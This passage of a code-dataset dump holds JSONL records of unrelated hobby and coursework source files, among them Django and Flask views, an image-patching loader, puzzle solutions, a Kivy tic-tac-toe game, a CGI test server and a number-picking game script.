word, \" was found at \", url)\n else:\n print(\"Word never found\")\n\ncrawler = WebCrawler()\ncrawler.spider(\"https://www.huffingtonpost.com/\", \"politics\", 10)","repo_name":"plawanrath/WebCrawler","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"18324534730","text":"from django.shortcuts import render\nfrom django.db import connection\nfrom django.db.models import Sum, Avg, Max, Min\n\nfrom store.models import Product, Order, OrderItem, Collection\n\ndef say_hello(request):\n context = {\"name\": \"Mosh\"}\n return render(request, 'hello.html', context)\n\n\ndef test_area(request):\n queryset = Order.objects.select_related(\"customer\"\n ).prefetch_related(\"orderitem_set__product\"\n ).annotate(total_spent=Sum(\"orderitem__product__unit_price\")\n ).order_by(\"-placed_at\")\n\n product_price = \"orderitem__product__unit_price\"\n statistics = Order.objects.prefetch_related(product_price\n ).order_by(\"-placed_at\").aggregate(\n total_sales=Sum(product_price), \n avg_sales=Avg(product_price),\n max_sales=Max(product_price),\n min_sales=Min(product_price),\n )\n\n context = {'orders': list(queryset), 'statistics': statistics}\n return render(request, 'hello.html', context)","repo_name":"PrimarisEquilibrium/Ecommerce-App","sub_path":"storefront/playground/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"9403456465","text":"# coding:utf-8\n\n\"\"\"\n@author: Cheng Chen\n@email: chengc0611@gmail.com\n@time: 12/7/21 11:20 AM\n\"\"\"\nimport copy\nimport math\nimport numpy as np\nimport cv2\nfrom utils.augmentations import letterbox\n\n\nclass LoadImage2Patch:\n # def __init__(self, img_size=(3000, 4096), patch_size=(3000, 4096), overlapping_size=(0, 0)):\n def __init__(self, img_size=(3000, 4096), patch_size=(1500, 2048), overlapping_size=(0, 0)):\n self.img_size = img_size\n self.d_x, self.d_y = int(patch_size[1]), int(patch_size[0])\n self.o_x, self.o_y = int(overlapping_size[1]), int(overlapping_size[0])\n self.cell_width, self.cell_height = self.d_x + self.o_x, self.d_y + self.o_y\n self.top_left_corner_coord = self.compute_top_left_corners()\n self.small_bbox_side_ignore = 1\n\n def compute_top_left_corners(self):\n len_y, len_x = self.img_size\n top_left_corner_coord = []\n num_cell_y, num_cell_x = math.ceil(len_y / self.d_y), math.ceil(len_x / self.d_x)\n for i in range(num_cell_y):\n top_left_corner_coord_i = []\n for j in range(num_cell_x):\n\n # extend half of overlap to all direction\n index_y = i * self.d_y - int(self.o_y / 2)\n if i == 0: # extend overlap down\n index_y = i * self.d_y\n elif i == num_cell_y - 1: # extend overlap up\n index_y = i * self.d_y - self.o_y\n\n index_x = j * self.d_x - int(self.o_x / 2)\n if j == 0:\n index_x = j * self.d_x\n elif j == num_cell_x - 1:\n index_x = j * self.d_x - self.o_x\n\n top_left_corner_coord_i.append((index_y, index_x))\n top_left_corner_coord.append(top_left_corner_coord_i)\n return top_left_corner_coord\n\n def img_2_cell(self, img):\n assert img.shape[:2] == self.img_size, 'expect ' + str(self.img_size) + ' got ' + str(img.shape[:2])\n cells = [[None for j in range(len(self.top_left_corner_coord[0]))] for i in\n range(len(self.top_left_corner_coord))]\n for i, y_x_row in enumerate(self.top_left_corner_coord):\n for j, (y, x) in enumerate(y_x_row):\n cells[i][j] = img[y:y + self.d_y + self.o_y, x:x + self.d_x + self.o_x, :]\n return cells\n\n def labels_from_img_coord_2_cell_coord(self, labels):\n bboxs_in_cell = [[[] for j in range(len(self.top_left_corner_coord[0]))] for i in\n range(len(self.top_left_corner_coord))]\n for label in labels:\n cls, bbox = label[0], label[1:]\n # check each cell\n for i, y_x_row in enumerate(self.top_left_corner_coord):\n for j, (y, x) in enumerate(y_x_row):\n x_min, y_min, x_max, y_max = bbox\n x_min_cell, y_min_cell, x_max_cell, y_max_cell = max(x, x_min), \\\n max(y, y_min), \\\n min(x + self.d_x + self.o_x - 1, x_max), \\\n min(y + self.d_y + self.o_y - 1, y_max)\n # if enough part of bbox in this cell\n if x_min_cell + self.small_bbox_side_ignore < x_max_cell and y_min_cell + self.small_bbox_side_ignore < y_max_cell:\n bboxs_in_cell[i][j].append(\n [cls, x_min_cell - x, y_min_cell - y, x_max_cell - x, y_max_cell - y])\n return bboxs_in_cell\n\n def img_and_label_from_img_2_cell(self, img, label):\n \"\"\"\"\"\"\n img_cell = self.img_2_cell(img)\n bbox_in_cell = self.labels_from_img_coord_2_cell_coord(label)\n return img_cell, bbox_in_cell\n\n def example_cells(self):\n img = np.arange(0, self.img_size[0] * self.img_size[1])\n img = img.reshape((self.img_size[0], self.img_size[1], -1))\n img = np.concatenate([img, img, img], axis=-1)\n img_cells = self.img_2_cell(img)\n return img_cells\n\n\nclass LoadImg2Patch:\n def __init__(self):\n self.img_size = 640\n self.stride = 16\n\n self.patcher = LoadImage2Patch()\n\n self.len = 0\n self.patches, self.origins = [], []\n\n self.img = None\n self.patches_org = None\n\n def load(self, img):\n self.img = img\n patch_2d = self.patcher.img_2_cell(img)\n origin_2d = self.patcher.compute_top_left_corners()\n self.patches_org, self.patches, self.origins = [], [], []\n for patch_row, origin_row in zip(patch_2d, origin_2d):\n for patch_org, origin in zip(patch_row, origin_row):\n # Padded resize\n patch = letterbox(patch_org, self.img_size, stride=self.stride)[0]\n # patch = np.ascontiguousarray(patch)\n self.patches.append(patch)\n self.patches_org.append(patch_org)\n self.origins.append(origin)\n\n self.len = len(self.patches)\n self.patches_org = self.patches_org\n self.patches = np.asarray(self.patches)\n self.origins = np.asarray(self.origins)\n\n def __iter__(self):\n self.count = 0\n return self\n\n def __next__(self):\n if self.count == self.len:\n raise StopIteration\n img = self.patches[self.count, :]\n origin = self.origins[self.count, :]\n assert img is not None, f'Image Empty'\n\n self.count += 1\n\n img = img.transpose((2, 0, 1))[::-1] # HWC to CHW, BGR to RGB\n img = np.ascontiguousarray(img)\n return img, origin\n\n def __len__(self):\n return self.len\n\n\nclass LoadImg2PatchBatch(LoadImg2Patch):\n def __init__(self, batch_size=4):\n super(LoadImg2PatchBatch, self).__init__()\n self.batch_size = batch_size\n\n def __next__(self):\n if self.count >= self.len:\n raise StopIteration\n imgs_org = self.patches_org[self.count:min(self.count+self.batch_size, self.len)]\n imgs = self.patches[self.count:min(self.count+self.batch_size, self.len), :]\n origins = self.origins[self.count:min(self.count+self.batch_size, self.len)]\n assert imgs is not None, f'Image Empty'\n\n self.count += self.batch_size\n\n imgs = imgs.transpose((0, -1, 1, 2))[:, ::-1] # HWC to CHW, BGR to RGB\n imgs = np.ascontiguousarray(imgs)\n\n return imgs, imgs_org, copy.deepcopy(self.img), origins\n\n\ndef main():\n img_path = '/home/cheng/proj/data/data_matrix/no/img/13/Image_20211126161810608.bmp'\n img = cv2.imread(img_path)\n dataset = LoadImg2PatchBatch()\n dataset.load(img)\n for batch in dataset:\n imgs, origins = batch\n for img, origin in zip(imgs, origins):\n img = img[::-1].transpose((1, 2, 0))\n\n cv2.imshow('img', img)\n cv2.waitKey(1000)\n print(origin)\n\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"StrikerCC/yolocpp","sub_path":"python_scripts/dataset_patch.py","file_name":"dataset_patch.py","file_ext":"py","file_size_in_byte":6985,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"35953689288","text":"from collections import defaultdict\nfrom functools import cache\nfrom math import inf\nfrom dataclasses import dataclass\nfrom enum import Enum\nfrom typing import Optional\nimport prettyprinter as pp\n\nwith open(\"input.txt\", \"r\") as f:\n content = f.read().strip()\n\n# content = \"620080001611562C8802118E34\"\n\nbits = \"\"\nfor c in content:\n binary_repr = bin(eval(f\"0x{c}\"))[2:]\n bits += \"0\" * (4 - len(binary_repr))\n bits += binary_repr\n\n\ndef binary_parse(bitstring):\n return eval(f\"0b{bitstring}\")\n\n\n@dataclass\nclass Packet:\n version: int\n type_id: int\n num_bits_encoded: int\n value: Optional[int] = None\n children: Optional[list] = None\n\n\ndef parse_packet(packet):\n version = binary_parse(packet[:3])\n type_id = binary_parse(packet[3:6])\n if type_id == 4:\n encoded_literal = packet[6:]\n literal_bits = \"\"\n i = 0\n while True:\n literal_bits += encoded_literal[i + 1 : i + 5]\n if encoded_literal[i] == \"0\":\n break\n i += 5\n return Packet(\n version=version,\n type_id=type_id,\n num_bits_encoded=i + 11,\n value=binary_parse(literal_bits),\n )\n else:\n length_type_id = int(packet[6])\n children = []\n if length_type_id:\n num_subpacket_bits = packet[7:18]\n assert len(num_subpacket_bits) == 11\n num_subpackets = binary_parse(num_subpacket_bits)\n num_bits_encoded = 18\n while len(children) < num_subpackets:\n children.append(parse_packet(packet[num_bits_encoded:]))\n num_bits_encoded += children[-1].num_bits_encoded\n else:\n subpackets_size_bits = packet[7:22]\n assert len(subpackets_size_bits) == 15\n subpackets_size = binary_parse(subpackets_size_bits)\n prefix_bits = 22\n num_bits_encoded = prefix_bits\n while num_bits_encoded - prefix_bits < subpackets_size:\n children.append(parse_packet(packet[num_bits_encoded:]))\n num_bits_encoded += children[-1].num_bits_encoded\n return Packet(\n version=version,\n type_id=type_id,\n num_bits_encoded=num_bits_encoded,\n children=children\n )\n\ndef version_sum(packet):\n res = packet.version\n for child in (packet.children or []):\n res += version_sum(child)\n return res\n\nres = parse_packet(bits)\n\n# pp.install_extras()\n# pp.pprint(res, width=1)\nprint(version_sum(res))\n","repo_name":"ncurrault/advent-of-code","sub_path":"2021/16/16-1.py","file_name":"16-1.py","file_ext":"py","file_size_in_byte":2546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"29389252702","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport kivy\nkivy.require('1.9.1')\nfrom kivy.app import App\nfrom kivy.uix.gridlayout import GridLayout\nfrom kivy.uix.button import Button\nfrom kivy.uix.popup import Popup\nfrom kivy.properties import NumericProperty\nfrom validar import *\n\nclass MostrarMensaje(Popup): \n def __init__(self, titulo, mensaje, **kwargs):\n self.size_hint_x = self.size_hint_y = .5\n self.title = titulo\n super(MostrarMensaje, self).__init__(**kwargs)\n self.add_widget(Button(text=mensaje, on_press=lambda x:self.dismiss()))\n self.open()\n\nclass Boton(Button):\n fila = NumericProperty(0)\n columna = NumericProperty(0)\n \n def __init__(self, **kwargs): \n super(Boton, self).__init__(**kwargs)\n self.font_size=100\n self.text=' '\n \nclass Triqui(GridLayout):\n \n def __init__(self, **kwargs):\n super(Triqui, self).__init__(**kwargs)\n self.cols = 3\n self.rows = 3\n for i in range(3):\n for j in range(3):\n self.add_widget(Boton(on_press=self.boton_presionado,fila=i,columna=j))\n self.turno = 'O'\n self.tablero = crear()\n \n def botones_a_matriz(self):\n for i in self.children:\n f = i.fila\n c = i.columna\n self.tablero[f][c]=i.text\n\n def reset(self):\n for i in self.children:\n i.text = ' '\n self.turno = 'O'\n \n def boton_presionado(self, w):\n if w.text != ' ':\n MostrarMensaje('Error!', \"Ya se ha jugado en esa casilla!\")\n return\n else:\n if self.turno == 'O':\n w.text = 'O' \n self.turno = 'X'\n self.botones_a_matriz()\n if gana(\"O\",self.tablero):\n MostrarMensaje(\"Fin\", \"Gana el jugador O!\")\n self.reset()\n else:\n w.text = 'X'\n self.turno = 'O'\n self.botones_a_matriz()\n if gana(\"X\",self.tablero):\n MostrarMensaje(\"Fin\", \"Gana el jugador X!\")\n self.reset()\n # chequeamos empate\n if empate(self.tablero):\n MostrarMensaje(\"Fin\", \"Empate!\")\n self.reset()\n\t\nclass Programa(App):\n def build(self):\n self.title = 'Triqui'\n return Triqui()\n\nif __name__ == '__main__':\n Programa().run()\n\n\n# Ahora chequeamos si hay empate (tablero lleno) llamando a empate del\n# archivo validar.\n\n","repo_name":"abecerra/thinkcs-py_es","sub_path":"codigo/triqui-kivy/triqui7.py","file_name":"triqui7.py","file_ext":"py","file_size_in_byte":2571,"program_lang":"python","lang":"es","doc_type":"code","stars":8,"dataset":"github-code","pt":"75"} +{"seq_id":"42698920784","text":"import numpy as np\n\n\nclass TransportProblemStep:\n def __init__(self, costs,c, n_offer, n_request, var_base, var_base_value, in_variable, out_variable, u, v):\n self.costs = costs\n self.c = np.copy(c)\n self.n_offer = n_offer\n self.n_request = n_request\n self.var_base = var_base[:]\n self.var_base_value = np.copy(var_base_value)\n self.in_variable = in_variable\n self.out_variable = out_variable\n self.u = u\n self.v = v\n\n def __str__(self):\n res = \"\"\n\n res += \"* u_i: \" + \", \".join(list(map(str, self.u))) + \"\\n\"\n res += \"* v_j: \" + \", \".join(list(map(str, self.v))) + \"\\n\\n\"\n\n m = [[\" \"] * 2 * self.n_request for j in range(2 * self.n_offer)]\n\n for i in range(self.n_offer):\n for j in range(self.n_request):\n m[2 * i][2 * j] = str(self.costs[i][j])\n\n var = self.n_request * i + j\n if var in self.var_base:\n var_index = self.var_base.index(var)\n m[2 * i + 1][2 * j] = \"**\"+str(self.var_base_value[var_index, 0])+\"**\"\n else:\n cr = \"*\"+str(self.c[var,0])+\"*\"\n if var == self.in_variable:\n cr = \"{}\".format(cr)\n m[2*i+1][2*j+1] = cr\n head = []\n for i in range(self.n_request):\n head += [\"Request\", str(i)]\n\n res += \"| |\" + \" | \".join(head) +\"|\\n\"\n res += \"|\" + \" | \".join([\":--:\"] * (2 * self.n_request + 1)) + \"|\\n\"\n\n count = 0\n for line in m:\n t = \"\"\n if count%2==0:\n t = \"Offer {}\".format(count//2)\n res += \"| {} |\".format(t) + \" | \".join(line) + \"\\n\"\n count += 1\n\n return res\n","repo_name":"sirenard/SBSSS","sub_path":"src/TransportProblemStep.py","file_name":"TransportProblemStep.py","file_ext":"py","file_size_in_byte":1801,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"23951121647","text":"from flask import Blueprint, render_template, request, url_for, redirect, jsonify, session\nimport database_connection\nimport json\nimport datetime\nfrom datetime import datetime\n\nfrom flask_wtf import FlaskForm\nfrom wtforms import BooleanField, TextAreaField, IntegerField\nfrom wtforms.fields.html5 import DateField, TimeField\nfrom wtforms.validators import DataRequired, required, NumberRange, Optional, url\nfrom wtforms import validators, SubmitField, StringField, form\nfrom wtforms.fields.html5 import DateTimeLocalField, EmailField\nfrom wtforms_components import DateRange\nfrom bson import ObjectId\nfrom random import randrange\nfrom wtforms.fields import html5 as h5fields\nfrom wtforms.widgets import html5 as h5widgets\nfrom dateutil.relativedelta import relativedelta\n\nimport gridfs\n\nadmin = Blueprint(\"admin\", __name__, static_folder=\"static\", template_folder=\"templates\")\n# Employee Table\nfetch_all_employees_table = database_connection.connect_employee_table_name()\ndata_conn = database_connection.database_connection()\nwork_schedle_db = database_connection.connect_workSchedule_table_name()\n\n\nclass InformForm(FlaskForm):\n title = StringField('Title', validators=[DataRequired()])\n startdate = DateField('Start Date', format=\"%Y-%m-%d\", validators=(validators.DataRequired(),))\n enddate = DateField('End Date', format=\"%Y-%m-%d\", validators=(validators.DataRequired(),))\n start_at = TimeField('Start at', format=\"'%h-%m'\",\n validators=[DateRange(min=datetime.now()), validators.DataRequired()])\n end_at = TimeField('End at', format=\"'%h-%m'\",\n validators=[DateRange(min=datetime.now()), validators.DataRequired()])\n date_of_joining = DateField('Date of Joining', format=\"%Y-%m-%d\", validators=(validators.DataRequired(),))\n date_of_birth = DateField('Date Of Birth', format=\"%Y-%m-%d\", validators=(validators.DataRequired(),))\n last_date = DateField('Last Date', format=\"%Y-%m-%d\", )\n official_email_address = EmailField('Official Email address')\n email_address = EmailField('Email address', validators=(validators.DataRequired(), validators.Email()))\n phoneNumber = StringField('Phone Number')\n salary = h5fields.IntegerField(\n \"Salary\", widget=h5widgets.NumberInput(min=0)\n )\n bonus = h5fields.IntegerField(\n \"Bonus\", widget=h5widgets.NumberInput(min=0)\n )\n bank_name = StringField('Bank Name')\n account_number = StringField('Account Number')\n UAN_number = StringField('UAN Number')\n basic_allowance = h5fields.IntegerField(\n \"Basic Allowance\", widget=h5widgets.NumberInput(min=0)\n )\n medical_allowance = h5fields.IntegerField(\n \"Medical Allowance\", widget=h5widgets.NumberInput(min=0)\n )\n provident_fund = h5fields.IntegerField(\n \"Provident Fund\", widget=h5widgets.NumberInput(min=0)\n )\n tax = h5fields.IntegerField(\n \"Tax\", widget=h5widgets.NumberInput(min=0)\n )\n current_address = StringField('Current Address')\n permanent_address = StringField('Permanent Address')\n is_active = BooleanField('Active')\n is_manager = BooleanField('Is a Manager?')\n first_name = StringField('First Name', validators=[DataRequired()])\n last_name = StringField('Last Name', validators=[DataRequired()])\n hourly_pay = IntegerField('Hourly Pay')\n submit = SubmitField('Submit')\n\n department_name = StringField('Department Name', validators=[DataRequired()])\n employee_type_description = StringField('Employee Type Description', validators=[DataRequired()])\n\n role_name = StringField('Role Name', validators=[DataRequired()])\n role_have_full_power = BooleanField('Assign Full Power?')\n role_upload_documents_profile_pictures = BooleanField('Ablity to Upload Document?')\n\n\n@admin.route(\"/\")\n@admin.route(\"/home\")\ndef adminHome():\n employees = database_connection.merge_employee_role('home')\n print(\"session123123 Admin: \", session)\n session['username'] = session['username']\n for employee in employees:\n employee[\"date_of_joining\"] = datetime.strptime(employee[\"date_of_joining\"],\n '%Y-%m-%dT%H:%M%S').strftime(\"%B %d, %Y\")\n\n return render_template(\"admin/admin.html\", display_all_employees=employees, came_from=\"admin.adminHome\",\n search_result=\"\")\n\n\n@admin.route(\"/search\", methods=[\"POST\"])\ndef searchAnEmployee():\n fetch_search_result = request.form.get('search_value')\n fetch_names = database_connection.fetch_employee_search_name(fetch_search_result)\n if (fetch_search_result):\n return render_template(\"admin/admin.html\", display_all_employees=fetch_names, search_result=fetch_search_result,\n value_search=request.form.get('search_value'))\n else:\n return redirect(url_for(\"admin.adminHome\")) # If the search field is empty then navigate to the home page\n\n\n@admin.route(\"/calendar\")\ndef getFullCalendar():\n work_scheule = database_connection.workSchedule_table(work_schedle_db)\n events = work_scheule\n\n return render_template(\"admin/calendar.html\", events=events)\n\n\n# Drag the event from one date to the other date\n@admin.route(\"/postData\", methods=['GET', 'POST'])\ndef return_data():\n req_json_obj = request.json\n fetchedData = req_json_obj[\"eventData\"]\n one_element = database_connection.fetch_only_one_work_schedule(fetchedData[\"_id\"])\n\n new_start_date = str(fetchedData[\"start\"])\n old_end_date = fetchedData[\"end\"]\n\n if len(old_end_date) >= 19:\n end_date_string = datetime.strptime(old_end_date, \"%Y-%m-%dT%H:%M:%S\")\n else:\n end_date_string = datetime.strptime(old_end_date, \"%Y-%m-%dT%H:%M\")\n\n start_date_string = datetime.strptime(new_start_date, \"%Y-%m-%dT%H:%M:%S.%fZ\")\n\n new_format_end_time = \"%H:%M:%S\"\n new_format_start_time = \"%Y-%m-%d\"\n new_end_date = start_date_string.strftime(new_format_start_time) + 'T' + end_date_string.strftime(\n new_format_end_time)\n start_date_format = \"%Y-%m-%dT%H:%M:%S\"\n new_value_start = start_date_string.strftime(start_date_format)\n work_schedle_db.update_one(\n {'_id': one_element[\"_id\"]},\n {'$set': {'start': new_value_start, 'end': new_end_date}}\n )\n return jsonify(req_json_obj)\n\n\n@admin.route(\"/EmployeeActive/\", methods=['GET'])\ndef employee_active_data(status):\n if status == 'Inactive':\n is_active = False\n elif status == 'active':\n is_active = True\n else:\n return redirect(url_for('admin.adminHome'))\n is_active_status = database_connection.fetch_active_inactive_employee(is_active)\n employees = database_connection.merge_employee_role(is_active_status) # Merging 3 tables\n for employee in employees:\n employee[\"date_of_joining\"] = datetime.strptime(employee[\"date_of_joining\"],\n '%Y-%m-%dT%H:%M%S').strftime(\"%B %d, %Y\")\n return render_template(\"admin/admin.html\", display_all_employees=employees, came_from=\"admin.adminHome\",\n search_result=\"\", status=status)\n\n\n@admin.route(\"/EditEmployee/event/\")\ndef getEditEmployeeEventCalendar(empId):\n events = database_connection.fetch_work_schedule_particular_emp(empId)\n return render_template(\"shared-component/employee_calendar.html\", employee_id=empId, events=events,\n drag_drop_enable=True if 'employee_id' not in session else None)\n\n\n@admin.route(\"/getExistingEvent///empId/\", methods=['GET', 'POST'])\ndef editExitEvent(id, toggle, employee_id):\n one_element = database_connection.fetch_only_one_work_schedule(ObjectId(id))\n form = InformForm()\n\n all_employees = database_connection.connect_employee_table_name()\n all_managers = database_connection.connect_manager_table_name()\n return render_template('admin/edit_event_creation.html',\n form=form,\n display_all_employees=database_connection.employee_table(all_employees),\n display_all_managers=database_connection.manager_table(all_managers),\n fetched_data=one_element,\n toggle=toggle,\n show_all_btns=True,\n coming_from_emp_edit_screen=employee_id)","repo_name":"aswin-syras/Employee-Management-System","sub_path":"admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":8362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"31336032450","text":"#Math and stats libraries will be used later for rounding and mean calculations\nimport math\nimport statistics\n\nwith open(\"day5positions.txt\", 'r') as file:\n\n seatIds = [] #Array will store seat Ids (no need for objects, because only tracking ID)\n\n for line in file:\n row_range = [0, 127] #The current range of rows. With each iterated operation, the list gets smaller and tends towards one number\n\n for row_pos in line[0:7]: #Row Position iterates over the first 7 terms (the 'F' and 'B' terms that determine row position)\n if row_pos == 'F':\n row_range = [row_range[0], math.floor(statistics.mean(row_range))] #If to the front, take only the lower part of the array\n\n elif row_pos == 'B':\n row_range = [math.ceil(statistics.mean(row_range)), row_range[1]] #If to the back, take only the upper part of the array\n\n\n col_range = [0, 7] #The current range of seat columns. With each iterated operation, the list gets smaller and tends towards one number\n\n for col_pos in line[7:]: #Column Position iterates over the last 3 terms (the 'L' and 'R' terms that determine column position)\n\n if col_pos == 'L':\n col_range = [col_range[0], math.floor(statistics.mean(col_range))] #If to the left, take only the lower part of the array\n\n elif col_pos == 'R':\n col_range = [math.ceil(statistics.mean(col_range)), col_range[1]] #If to the right, take only the upper part of the array\n\n #Add ID to array\n seatIds.append((row_range[0] * 8) + col_range[0])\n\nseatIds.sort() #Sort array from least to greatest\nseatID = 0 #Temporary seat ID (will change with iterations)\n\n#Iterate through sorted list. If, ay any point, there is a gap between IDS of more than 1, that point is my seat.\nfor x in range(len(seatIds)-1):\n if (seatIds[x+1] - seatIds[x] != 1):\n seatID = seatIds[x] + 1\n\nprint(f\"My seat ID: {seatID}\") #Output results\n","repo_name":"HackHighSchool/Advent-of-Code-2020","sub_path":"KabirSamsi/Day5/day5part2.py","file_name":"day5part2.py","file_ext":"py","file_size_in_byte":1972,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"69895780722","text":"#!/usr/bin/env python3\n\n\"\"\"\n用python实现一个HTTP网络服务器,它直到如何提供HTTP页面和运行用Python编写的服务器端CGI脚本。本脚本不是一个产品级服务器,但能满足测试需求,尤其是在localhost上。\n默认提供当前目录下的文件和脚本,端口号为80,除非在命令行参数中指定了这些选项;Python CGI脚本必须存放在webdir\\cgi-bin或者webdir\\htbin路径下,同一台机器上可以运行多个服务器,提供多个目录下的页面和脚本,只需要监听端口不同即可。\n\"\"\"\n\nimport os,sys\nfrom http.server import HTTPServer,CGIHTTPRequestHandler\n\nwebdir='.'\nport=80\nif len(sys.argv) > 1:\n webdir = sys.argv[1]\n\nif len(sys.argv) > 2:\n port = int(sys.argv[2])\n\nprint(\"webdir '%s', port '%s'\" % (webdir, port))\n\nos.chdir(webdir)\nsrvraddr = (\"\",port)\nsrvrobj = HTTPServer(srvraddr, CGIHTTPRequestHandler)\nsrvrobj.serve_forever()","repo_name":"heisehuanyin/MyWebsite","sub_path":"webserver.py","file_name":"webserver.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"17949871685","text":"\"\"\" Command that takes a command that produces and output string and writes it to a file \"\"\"\nfrom pathlib import Path\nfrom typing import List\n\nfrom src.commands.simple_command import SimpleCommand\n\n\nclass FileWriterCommand(SimpleCommand):\n \"\"\" Create a file from the output of a child commmand\"\"\"\n\n def __init__(self, file_name: Path, values: List[str]):\n \"\"\" Create the writer command\n\n :param file_name: Path for where to writer the output to\n :param values: Dict of strings containing the attributes to dump\n \"\"\"\n super().__init__()\n self.file_name = file_name\n self.values = values\n\n def execute(self) -> None:\n super().execute()\n \"\"\" Produce the file \"\"\"\n self.check_directory(self.file_name)\n with open(self.file_name, 'w', encoding=\"utf-8\") as f:\n output = \"\"\n obj = self.parent\n for v in self.values:\n while \".\" in v:\n head, v = v.split(\".\")\n obj = getattr(obj, head)\n obj = getattr(obj, v)\n output += obj\n f.write(output)\n f.close()\n\n def __repr__(self) -> str:\n return f\"{self.__class__.__name__}({repr(self.file_name)}, {repr(self.values)})\"\n","repo_name":"Nickleaton/sudoku","sub_path":"src/commands/file_writer_command.py","file_name":"file_writer_command.py","file_ext":"py","file_size_in_byte":1287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"28612716951","text":"# Author: Makaliah Dickinson\n# Date: 8/1/2020\n# Description: Write a class called AddThreeGame that allows two players to play a game in which they alternately choose\n# numbers from 1-9. They may not choose a number that has already been selected by either player. If at any\n# point exactly three of the player's numbers sum to 15, then that player has won. If all numbers from 1-9\n# are chosen, but neither player has won, then the game ends in a draw.\n# The class will need private data members for:\n# keeping track of which numbers have been chosen, and by whom\n# the current state, which holds one of the four following values: \"FIRST_WON\", \"SECOND_WON\", \"DRAW\", or\n# \"UNFINISHED\"\n# keeping track of whose turn it is\n\n\nclass AddThreeGame:\n # Initialize the files\n def __init__(self):\n self.__p1 = 0\n self.__p2 = 0\n self.__played = []\n self.__str = \"UNFINISHED\"\n\n # return the current state\n def get_current_state(self):\n return self.__str\n\n # when a player makes a move\n def make_move(self, pl, x):\n if x in self.__played:\n return False\n if x > 9 or x < 1:\n return False\n if pl == \"first\":\n self.__pl = self.__p1 + x\n self.__played.append(x)\n elif pl == \"second\":\n self.__p2 = self.__p2 + x\n self.__played.append(x)\n if self.__p1 == 15 and self.__p2 == 15:\n self.__str = \"DRAW\"\n elif self.__p1 == 15:\n self.__str = \"FIRST_WON\"\n elif self.__p2 == 15:\n self.__str = \"SECOND_WON\"\n if len(self.__played) == 9:\n self.__str = \"DRAW\"\n return True\n\n\n# Initialize the object for the class\ngame = AddThreeGame()\n# Infinite loop till game is won or drawn\nwhile True:\n x = int(input(\"Player 1 please enter a number: \"))\n while True:\n if (game.make_move(\"first\", x) == True):\n break\n else:\n x = int(input(\"Invalid input! Player 2 please re-enter a number: \"))\n# Check if game is over\nplaystatus = game.get_current_state()\nif playstatus == \"UNFINISHED\":\n print(\"No one reached 15. Get ready for next round.\\n\")\nelif playstatus == \"FIRST_WON\":\n print(\"First player won!!!\\n\")\nelif playstatus == \"SECOND_WON\":\n print(\"Second player won!!!\\n\")\nelif playstatus == \"DRAW\":\n print(\"Game ends in draw\\n\")\n","repo_name":"dickinsm/AddThreeGame.py","sub_path":"AddThreeGame.py","file_name":"AddThreeGame.py","file_ext":"py","file_size_in_byte":2472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"24921364374","text":"import bld\nfrom src.parts.Elem import Elem\nfrom src.parts.defs import MainPage\nimport frontmatter\nfrom src.PathGetter import PathGetter\n\ndef PostsPage(posts, builder):\n content = []\n\n postInfo = []\n for file in posts:\n href = f'posts/{file.title}'\n label = 'generic label'\n if file.type == 'md':\n txt = file.read()\n post = frontmatter.loads(txt)\n label = post['title'] if 'title' in post else file.title\n else:\n label = file.title\n\n postInfo.append((label, href))\n\n # sort by label\n postInfo.sort(key = lambda a: a[0].lower())\n\n content = []\n for label, href in postInfo:\n content.append(Elem(\n 'div',\n Elem('a', label, {'href': href}),\n {'class': 'postLink'}\n ))\n\n return MainPage('Posts', builder, content)\n\nclass PostsRule(bld.Rule):\n def __init__(self, postDir, outFile, basePath):\n self.init()\n for file in postDir.files:\n if file.name.startswith('_'):\n continue\n if file.type not in ['md', 'py']:\n continue\n self.addIn(file)\n self.addOut(outFile)\n self.pathGetter = PathGetter(basePath)\n def run(self):\n content = PostsPage(self.inputs, self.pathGetter)\n [outFile] = self.outputs\n outFile.write(content)\n","repo_name":"stevenlandis/website","sub_path":"src/PostsRule.py","file_name":"PostsRule.py","file_ext":"py","file_size_in_byte":1378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"46868982992","text":"# Question Link - https://leetcode.com/problems/short-encoding-of-words/\n\n# Solution - \n\nclass Node:\n def __init__(self, c, isEnd = False):\n self.c = c\n self.isEnd = isEnd\n self.child = dict()\n \nclass Solution:\n def __init__(self):\n self.root = Node('#')\n \n def insert(self, word):\n curr = self.root\n for c in word:\n if c not in curr.child:\n curr.child[c] = Node(c)\n curr = curr.child[c]\n curr.isEnd = True\n \n def minimumLengthEncoding(self, words: List[str]) -> int:\n \n for word in set(words):\n self.insert(word[::-1])\n \n words = list(set(words))\n words.sort(key = len)\n ans = 0\n for word in words:\n word = word[::-1]\n curr = self.root\n for c in word:\n curr = curr.child[c]\n if len(curr.child) == 0:\n ans += (len(word) + 1)\n \n return ans\n \n \n \n \n","repo_name":"codethat-vivek/Code","sub_path":"LeetCode/Short Encoding of Words.py","file_name":"Short Encoding of Words.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"2907558388","text":"__author__ = 'dhamodharan.k'\r\nfrom pymongo import MongoClient\r\n\r\nMONGO_CLIENT_IP = 